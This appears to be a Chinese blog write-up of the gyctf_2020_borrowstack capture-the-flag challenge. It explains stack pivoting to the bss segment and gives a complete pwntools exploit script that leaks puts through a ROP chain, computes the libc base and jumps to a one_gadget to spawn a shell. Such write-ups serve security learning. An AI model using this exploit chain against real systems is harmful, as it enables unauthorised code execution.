zoukankan      html  css  js  c++  java
  • gyctf_2020_borrowstack

    这是我第一次拿着大佬的exp调试的栈迁移,有许多收获,所以一定要记录下来

    流程分析

    程序很简单,不过,由于溢出后没有什么可以在运行的了,所以我们需要将栈迁移到bss段中

     思路

    通过两次的新老leave,将栈迁移到bss段上,不过要尽量往高地址迁移,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中

    from pwn import *
    
    #p=remote('node3.buuoj.cn',25375)
    #p=process('./gyctf_2020_borrowstack')
    p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F')
    elf=ELF('./gyctf_2020_borrowstack')
    libc=ELF('../libc-2.23.so')
    
    p.recv()
    payload=0x60*b'a'+p64(0x601090)+p64(0x400699)
    p.send(payload)
    p.recv()
    #p64(0x4004c9)*0x14
    payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
    p.send(payload)
    
    libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
    libc_base=libc_base-libc.symbols['puts']
    gdb.attach(p)
    one_gadget=libc_base+0x4526a
    payload=b'p'*0x60+b'pppppppp'+p64(one_gadget)
    p.send(payload)
    p.interactive()
  • 相关阅读:
    常见排序算法总结(一)
    27.移除元素
    556. 下一个更大元素 III
    503. 下一个更大元素 II
    496.下一个更大元素Ⅰ
    汇编基础
    SQL回顾
    Pandas整理
    爬取中公网新闻时政
    Python合并Excel表格
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14032836.html
Copyright © 2011-2022 走看看